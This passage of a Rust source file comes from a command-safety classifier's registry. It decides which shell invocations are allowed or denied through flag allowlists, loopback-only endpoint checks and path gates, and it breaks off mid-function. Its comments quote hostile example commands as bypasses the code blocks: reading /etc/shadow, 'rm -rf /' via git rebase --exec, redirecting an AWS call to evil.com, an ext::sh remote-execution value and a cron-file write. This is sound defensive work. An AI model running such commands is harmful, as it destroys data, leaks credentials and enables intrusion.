safe_chains/registry/mod.rs
1mod build;
2mod custom;
3pub use custom::fuzz_load_config;
4mod dispatch;
5mod docs;
6mod policy;
7pub(crate) mod types;
8
9use std::collections::HashMap;
10use std::sync::LazyLock;
11
12use crate::parse::Token;
13use crate::verdict::Verdict;
14
15pub use build::{build_registry, load_toml};
16pub(crate) use custom::user_config_level;
17pub use dispatch::dispatch_spec;
18pub use types::{CommandSpec, OwnedPolicy};
19
20use types::DispatchKind;
21
22type HandlerFn = fn(&[Token]) -> Verdict;
23
24static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
25 LazyLock::new(crate::handlers::custom_cmd_handlers);
26
27static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
28 LazyLock::new(crate::handlers::custom_sub_handlers);
29
30static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(||
31 include!(concat!(env!("OUT_DIR"), "/toml_includes.rs"))
32);
33
34static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
35 let mut map = HashMap::new();
36 custom::apply_custom(&mut map);
37 map
38});
39
40pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
41 let cmd = tokens[0].command_name();
42 TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
43}
44
45/// Looks up the command in the runtime custom registry (project-local
46/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
47/// A match here wins over the built-in hardcoded handlers, which is how
48/// an override of `gh` takes effect.
49pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
50 let cmd = tokens[0].command_name();
51 CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
52}
53
54/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
55/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
56/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
57/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
58/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
59pub fn canonical_name(cmd: &str) -> &str {
60 CUSTOM_REGISTRY
61 .get(cmd)
62 .or_else(|| TOML_REGISTRY.get(cmd))
63 .map_or(cmd, |spec| spec.name.as_str())
64}
65
66/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
67/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
68/// from the command's own definition. `cmd` is already canonicalized by the caller.
69pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
70 CUSTOM_REGISTRY
71 .get(cmd)
72 .or_else(|| TOML_REGISTRY.get(cmd))
73 .and_then(|spec| spec.path_gate.as_ref())
74}
75
76/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
77/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
78/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
79/// `cmd` is already canonicalized by the caller.
80pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
81 CUSTOM_REGISTRY
82 .get(cmd)
83 .or_else(|| TOML_REGISTRY.get(cmd))
84 .and_then(|spec| spec.behavior.as_ref())
85}
86
87/// What `cmd`'s stdout can name, when that has been researched and declared (`[command.output]`).
88/// `None` — the default for every command — keeps a `$(cmd …)` unpinnable.
89pub(crate) fn command_output_locus(cmd: &str) -> Option<&'static crate::registry::types::OutputSpec> {
90 CUSTOM_REGISTRY
91 .get(cmd)
92 .or_else(|| TOML_REGISTRY.get(cmd))
93 .and_then(|spec| spec.output.as_ref())
94}
95
96/// What the SUBCOMMAND in `words` prints, when that sub has declared it
97/// (`[command.sub.output]`), plus the arguments left after the sub path.
98///
99/// Separate from `command_output_locus` because for a multi-command tool the claim belongs to the
100/// sub, not the program: `git diff --name-only` prints worktree paths while `git log` prints prose.
101/// Expressing that command-level would mean an `invalidated_by` naming every OTHER subcommand — a
102/// denylist, which fails open the next time git grows one.
103///
104/// Descends nested subs to the deepest declaring node, the same walk `is_eval_safe_invocation`
105/// does, so a claim can sit on `<resource> <action>`. `None` when no sub on the path declares one,
106/// which leaves the caller to fall back to the command-level claim (and then to unpinnable).
107/// `canonical` must be the CANONICALIZED command name (`registry::canonical_name` of the token's
108/// command name), the same key `command_output_locus` is given. Keying on the raw first word
109/// instead silently dropped the claim for a path-spelled or aliased command: `/usr/bin/git diff
110/// --name-only` is a trusted spelling of a trusted tool, and it lost the claim while bare `git` kept
111/// it — one operation, two spellings, two answers.
112pub(crate) fn sub_output_locus<'a>(
113 canonical: &str,
114 args: &'a [String],
115) -> Option<(&'static crate::registry::types::OutputSpec, &'a [String])> {
116 let mut rest = args;
117 let spec = CUSTOM_REGISTRY
118 .get(canonical)
119 .or_else(|| TOML_REGISTRY.get(canonical))?;
120 let mut kind = &spec.kind;
121 let mut found: Option<(&'static crate::registry::types::OutputSpec, &'a [String])> = None;
122 loop {
123 let subs = match kind {
124 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
125 _ => return found,
126 };
127 let Some((arg, tail)) = rest.split_first() else { return found };
128 let Some(sub) = subs.iter().find(|s| s.name == *arg) else {
129 return found;
130 };
131 rest = tail;
132 // Deepest declaration wins. A shallower one is NOT inherited by a child that declares
133 // nothing: the claim is researched per node, and letting `<parent>`'s answer stand in for
134 // an unresearched `<parent> <child>` would be asserting something nobody checked. Reset so
135 // descending past a declaring node into a silent one falls back to unpinnable.
136 found = sub.output.as_ref().map(|o| (o, rest));
137 kind = &sub.kind;
138 }
139}
140
141/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
142/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
143/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
144/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
145/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
146/// matched sub declares a profile.
147pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
148 let cmd = canonical_name(tokens.first()?.command_name());
149 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
150 let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
151 let mut out = vec![sub.profile.as_deref()?];
152 for flag in &sub.flags {
153 if flag_escalates(tokens, flag) {
154 out.push(flag.classifies.as_str());
155 }
156 }
157 // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
158 // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
159 // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
160 // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
161 // capability and the invocation denies.
162 if presents_unlisted_flag(tokens, sub) {
163 out.push("unclassified");
164 }
165 Some(out)
166}
167
168/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
169///
170/// The glob path used to allow on the strength of the first positional alone and never look at the
171/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
172/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
173/// (`get-*` means read) is sound and stays; the flags are what needed a list.
174///
175/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
176/// service groups cannot be researched at once, and denying them wholesale would break every AWS
177/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
178/// cannot grow.
179///
180/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
181/// ones are already caught earlier by `credential_first_arg`.
182pub(super) fn glob_presents_unlisted_flag(
183 tokens: &[Token],
184 skip: usize,
185 standalone: &[String],
186 valued: &[String],
187 loopback_valued: &[String],
188) -> bool {
189 if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
190 return false;
191 }
192 let known =
193 |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
194 for (idx, t) in tokens.iter().enumerate().skip(skip) {
195 let s = t.as_str();
196 if s == "--" {
197 break;
198 }
199 if !s.starts_with('-') || s == "-" {
200 continue;
201 }
202 let head = s.split_once('=').map_or(s, |(f, _)| f);
203 // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
204 // http://localhost:8000` is a developer talking to their own service; the same flag pointed
205 // anywhere else redirects an authenticated request. A missing value denies — the flag is
206 // meaningless without one and guessing would be the fail-open direction.
207 if loopback_valued.iter().any(|a| a == head) {
208 let value = match s.split_once('=') {
209 Some((_, v)) => Some(v),
210 None => tokens.get(idx + 1).map(Token::as_str),
211 };
212 if value.is_some_and(crate::netloc::is_loopback) {
213 continue;
214 }
215 return true;
216 }
217 if known(head) {
218 continue;
219 }
220 if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
221 continue;
222 }
223 return true;
224 }
225 false
226}
227
228/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
229/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
230/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
231/// rather than "nothing permitted", so this tightens only where a list exists — the global
232/// enforcement of the empty case is staged separately (see the backfill guard).
233fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
234 // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
235 // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
236 // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
237 // that its PRESENCE is the safe form).
238 let known = |f: &str| {
239 sub.allowed_standalone.iter().any(|a| a == f)
240 || sub.allowed_valued.iter().any(|a| a == f)
241 || sub.flags.iter().any(|d| d.name == f)
242 // An output-path flag is declared too — it names the write destination the engine
243 // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
244 || sub.output_path_flags.iter().any(|a| a == f)
245 || sub.destination_flag.as_deref() == Some(f)
246 };
247 for (idx, t) in tokens.iter().enumerate().skip(1) {
248 let s = t.as_str();
249 if s == "--" {
250 break;
251 }
252 if !s.starts_with('-') || s == "-" {
253 continue;
254 }
255 let head = s.split_once('=').map_or(s, |(f, _)| f);
256 // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
257 // the glob path in `glob_presents_unlisted_flag`.
258 if sub.loopback_valued.iter().any(|a| a == head) {
259 let value = match s.split_once('=') {
260 Some((_, v)) => Some(v),
261 None => tokens.get(idx + 1).map(Token::as_str),
262 };
263 if value.is_some_and(crate::netloc::is_loopback) {
264 continue;
265 }
266 return true;
267 }
268 if known(head) {
269 continue;
270 }
271 // An explicitly declared tolerance keeps the sub open for the shape it names — the
272 // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
273 // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
274 use crate::policy::UnknownTolerance as U;
275 let tolerated = if s.starts_with("--") {
276 matches!(sub.allowed_unknown, U::Long | U::Both)
277 } else {
278 matches!(sub.allowed_unknown, U::Short | U::Both)
279 };
280 if tolerated {
281 continue;
282 }
283 // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
284 if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
285 continue;
286 }
287 return true;
288 }
289 false
290}
291
292/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
293/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
294/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
295/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
296/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
297pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
298 let cmd = canonical_name(tokens.first()?.command_name());
299 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
300 let present: Vec<&'static str> = spec
301 .archetype_flags
302 .iter()
303 .filter(|f| flag_escalates(tokens, f))
304 .map(|f| f.classifies.as_str())
305 .collect();
306 (!present.is_empty()).then_some(present)
307}
308
309/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
310/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
311/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
312/// an escalator counts wherever it sits.
313fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
314 if flag.when_absent {
315 // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
316 // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
317 // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
318 return !flag_is_affirmatively_set(tokens, &flag.name);
319 }
320 let Some(prefix) = flag.value_prefix.as_deref() else {
321 return flag_present(tokens, &flag.name);
322 };
323 // space form: `NAME VALUE`, VALUE starting with the prefix
324 tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
325 // glued form: `NAME=VALUE`, VALUE starting with the prefix
326 || tokens.iter().any(|t| {
327 t.as_str()
328 .strip_prefix(flag.name.as_str())
329 .and_then(|r| r.strip_prefix('='))
330 .is_some_and(|v| v.starts_with(prefix))
331 })
332}
333
334/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
335/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
336/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
337/// can't masquerade as the safety flag being set.
338fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
339 let neg = format!("--no-{}", flag.trim_start_matches('-'));
340 let mut set = false;
341 for t in tokens {
342 let s = t.as_str();
343 if s == flag {
344 set = true;
345 } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
346 set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
347 } else if s == neg {
348 set = false;
349 }
350 }
351 set
352}
353
354fn walk_to_profiled_sub(
355 remaining: &[Token],
356 kind: &'static DispatchKind,
357) -> Option<&'static types::SubSpec> {
358 let subs = match kind {
359 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
360 _ => return None,
361 };
362 let arg = remaining.first()?;
363 let sub = subs.iter().find(|s| s.name == arg.as_str())?;
364 // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
365 walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
366}
367
368/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
369/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
370fn walk_to_profiled_sub_rest<'a>(
371 remaining: &'a [Token],
372 kind: &'static DispatchKind,
373) -> Option<(&'static types::SubSpec, &'a [Token])> {
374 let subs = match kind {
375 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
376 _ => return None,
377 };
378 let arg = remaining.first()?;
379 let sub = subs.iter().find(|s| s.name == arg.as_str())?;
380 let rest = &remaining[1..];
381 walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
382}
383
384/// For a profiled sub declaring `network_destination`, the first positional after it — the send
385/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
386/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
387/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
388///
389/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
390/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
391/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
392/// target), never looser — so it can over-deny a rare form but never under-approve.
393pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
394 let cmd = canonical_name(tokens.first()?.command_name());
395 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
396 let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
397 if !sub.network_destination {
398 return None;
399 }
400 // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
401 // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
402 // line since the flag may sit anywhere.
403 if let Some(flag) = sub.destination_flag.as_deref()
404 && let Some(v) = flag_value(tokens, flag)
405 {
406 return Some(Some(v));
407 }
408 Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
409}
410
411/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
412/// not flags.
413///
414/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
415/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
416/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
417/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
418/// a call to the real service as a write to this machine.
419///
420/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
421/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
422/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
423fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
424 let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
425 flag_value(&tokens[..end], flag)
426}
427
428/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
429/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
430/// only the permissive callers use it.
431fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
432 if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
433 return Some(v);
434 }
435 tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
436}
437
438/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
439/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
440/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
441/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
442///
443/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
444/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
445/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
446/// malformed invocation the tool itself rejects, so a `None` there is harmless.
447/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
448/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
449/// and "the sub never opted in".
450///
451/// Returning `false` for a non-loopback value is what keeps this independent of the admission
452/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
453/// that classify.
454pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
455 let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
456 return false;
457 };
458 let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
459 return false;
460 };
461 let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
462 return false;
463 };
464 sub.loopback_effect == types::LoopbackEffect::Localizes
465 && sub
466 .loopback_valued
467 .iter()
468 .filter_map(|f| flag_value_in_flag_region(tokens, f))
469 .any(crate::netloc::is_loopback)
470}
471
472pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
473 let cmd = canonical_name(tokens.first()?.command_name());
474 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
475 let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
476 sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
477}
478
479/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
480/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
481/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
482fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
483 if let Some(v) = flag_value(tokens, flag) {
484 return Some(v);
485 }
486 if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
487 return tokens
488 .iter()
489 .find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
490 }
491 None
492}
493
494/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
495/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
496/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
497/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
498/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
499/// clustering tool with a classifying short flag).
500fn flag_present(tokens: &[Token], flag: &str) -> bool {
501 // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
502 let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
503 tokens.iter().any(|t| {
504 let s = t.as_str();
505 if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
506 return true;
507 }
508 // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
509 // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
510 matches!(short_char, Some(c)
511 if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
512 && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
513 })
514}
515
516pub fn toml_command_names() -> Vec<&'static str> {
517 TOML_REGISTRY
518 .keys()
519 .map(|k| k.as_str())
520 .collect()
521}
522
523/// EVERY declared stdout claim in the registry, command-level and sub-level alike, each paired with
524/// the invocation scope that carries it (`"fd"`, `"git diff"`).
525///
526/// The structural guards over `[command.output]` enumerate this rather than `toml_command_names`,
527/// so a sub-scoped claim is held to the same bar as a command-scoped one. Enumerating only commands
528/// would have let every `[command.sub.output]` ship unprobed — the claim is transitive (it widens
529/// whatever consumes the substitution), so an unguarded one is the worst kind to add.
530#[cfg(test)]
531pub(crate) fn output_claims() -> Vec<(String, &'static crate::registry::types::OutputSpec)> {
532 fn walk(
533 prefix: &str,
534 kind: &'static DispatchKind,
535 out: &mut Vec<(String, &'static crate::registry::types::OutputSpec)>,
536 ) {
537 let subs = match kind {
538 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
539 _ => return,
540 };
541 for sub in subs {
542 let scope = format!("{prefix} {}", sub.name);
543 if let Some(o) = sub.output.as_ref() {
544 out.push((scope.clone(), o));
545 }
546 walk(&scope, &sub.kind, out);
547 }
548 }
549
550 let mut out = Vec::new();
551 for (name, spec) in TOML_REGISTRY.iter() {
552 if let Some(o) = spec.output.as_ref() {
553 out.push((name.clone(), o));
554 }
555 walk(name, &spec.kind, &mut out);
556 }
557 out
558}
559
560/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
561/// — the corpus the engine's never-looser corpus gate runs against.
562#[cfg(test)]
563pub(crate) fn corpus_examples()
564-> Vec<(&'static str, &'static [String], &'static [String])> {
565 TOML_REGISTRY
566 .iter()
567 .map(|(name, spec)| {
568 (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice())
569 })
570 .collect()
571}
572
573/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
574/// blocks alongside `handler = "..."`) and dispatch the one whose name
575/// matches `tokens[1]`. Returns `None` if no sub matched, so the
576/// handler can fall through to its fallback grammar (or deny).
577pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
578 let spec = handler_spec(cmd_name)?;
579 let DispatchKind::Custom { subs, .. } = &spec.kind else {
580 return None;
581 };
582 let arg = tokens.get(1)?.as_str();
583 let sub = subs.iter().find(|s| s.name == arg)?;
584 Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
585}
586
587/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
588/// Returns `None` if no fallback is declared.
589pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
590 let spec = handler_spec(cmd_name)?;
591 let DispatchKind::Custom { fallback, .. } = &spec.kind else {
592 return None;
593 };
594 let f = fallback.as_ref()?;
595 Some(dispatch::dispatch_fallback(tokens, f))
596}
597
598/// The flag vocabulary a handler-dispatched command keeps in `[command.fallback]`, for handlers
599/// that walk their own grammar and only need the SETS.
600///
601/// find is the case this exists for: its expression walk is genuine logic (a valued primary
602/// consumes its value, `-newer*` matches by prefix, `-exec`/`-delete` delegate against the
603/// traversal bases), but the two vocabularies it consults are flag lists, and flag lists belong in
604/// TOML. Returning the slices rather than a verdict keeps the walk in the handler where it belongs
605/// while the DATA lives in one place — which is the whole point: there is no second copy to drift
606/// from, because the `WordSet` constants were deleted rather than kept in sync.
607///
608/// Linear scan, and deliberately so: `impl FlagSet for [String]` is `iter().any(..)`, so unlike
609/// `WordSet` there is no sorted-order precondition to preserve. Ordering travels with the data
610/// structure, not the data.
611pub(crate) fn fallback_flag_sets(cmd_name: &str) -> Option<(&'static [String], &'static [String])> {
612 let spec = handler_spec(cmd_name)?;
613 let DispatchKind::Custom { fallback, .. } = &spec.kind else {
614 return None;
615 };
616 let f = fallback.as_ref()?;
617 Some((f.policy.standalone.as_slice(), f.policy.valued.as_slice()))
618}
619
620/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
621/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
622/// finds the first matrix whose `parents` contains the parent and
623/// whose `actions` map contains the action, then validates
624/// `tokens[2..]` against the named policy (and a guard flag if the
625/// matrix entry declared one). Returns `None` if no matrix matched —
626/// the handler can then fall through to its remaining special cases
627/// or deny.
628pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
629 let spec = handler_spec(cmd_name)?;
630 let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
631 return None;
632 };
633 let parent = tokens.get(1)?.as_str();
634 let action = tokens.get(2)?.as_str();
635 for matrix in matrices {
636 if !matrix.parents.iter().any(|p| p == parent) {
637 continue;
638 }
639 let Some(action_spec) = matrix.actions.get(action) else { continue; };
640 if let Some(long) = action_spec.guard.as_deref()
641 && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
642 {
643 return Some(Verdict::Denied);
644 }
645 let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
646 return Some(Verdict::Denied);
647 };
648 return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
649 }
650 None
651}
652
653/// Validate `tokens` against `cmd_name`'s named flag policy declared
654/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
655/// such policy is declared or the tokens fail it. Used by handlers
656/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
657/// sub × action matrix) but whose per-policy WordSets should live
658/// in TOML rather than as Rust `WordSet` constants.
659pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
660 let Some(spec) = handler_spec(cmd_name) else { return false; };
661 let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
662 return false;
663 };
664 let Some(policy) = handler_policies.get(key) else { return false; };
665 dispatch::check_handler_policy_owned(tokens, policy)
666}
667
668fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
669 CUSTOM_REGISTRY
670 .get(cmd_name)
671 .or_else(|| TOML_REGISTRY.get(cmd_name))
672}
673
674/// Returns true iff this invocation is tagged eval-safe — meaning its
675/// stdout is documented shell-init code that can safely be substituted
676/// inside `eval "$(...)"`.
677///
678/// The walker descends through `DispatchKind::Branching` AND
679/// `DispatchKind::Custom` matching subs token-by-token (handler-based
680/// commands such as `gh` can have tagged TOML-declared subs even though
681/// the handler does the actual dispatch). The leaf is the deepest matched
682/// node (where no further sub matches). `eval_safe` is checked only at
683/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
684/// is tagged, every `-`-prefixed token in the remaining tail must appear
685/// in `eval_safe_flags`; positionals are unrestricted.
686///
687/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
688/// function does not validate that `tokens` is syntactically allowed —
689/// callers must have already passed it through the regular dispatcher.
690pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
691 if tokens.is_empty() {
692 return false;
693 }
694 let cmd = tokens[0].command_name();
695 let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
696 return false;
697 };
698 is_eval_safe_for_spec(spec, tokens)
699}
700
701/// Spec-local variant used by tests so they can build a `CommandSpec`
702/// via `load_toml` and exercise the walker without touching the global
703/// `TOML_REGISTRY`.
704pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
705 if tokens.is_empty() {
706 return false;
707 }
708 walk_to_eval_safe_leaf(
709 &tokens[1..],
710 &spec.kind,
711 spec.eval_safe,
712 &spec.eval_safe_flags,
713 &spec.eval_safe_flag_values,
714 &spec.eval_safe_required_flags,
715 )
716}
717
718fn walk_to_eval_safe_leaf(
719 remaining: &[Token],
720 kind: &DispatchKind,
721 eval_safe: bool,
722 eval_safe_flags: &[String],
